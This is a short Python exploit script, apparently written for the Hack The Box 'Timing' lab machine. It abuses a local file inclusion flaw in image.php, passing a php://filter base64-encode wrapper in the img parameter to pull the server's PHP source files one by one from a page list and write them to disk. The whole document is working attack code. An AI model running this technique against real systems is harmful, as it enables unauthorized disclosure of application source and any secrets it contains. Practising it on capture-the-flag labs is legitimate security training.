HTB_timing_lfi.py

#!/usr/bin/python3

import requests
import base64

with open('php_pages.lst','r') as p:
    pages = [x.strip() for x in p if x]

for page in pages:
    url = f'http://timing.htb/image.php?img=php://filter/convert.base64-encode/resource={page}'
    encoded_response = requests.get(url)
    decoded = base64.b64decode(encoded_response.text)
    file_name = f'php/{page}'
    with open(file_name,'w') as f:
        f.write(decoded.decode('utf-8'))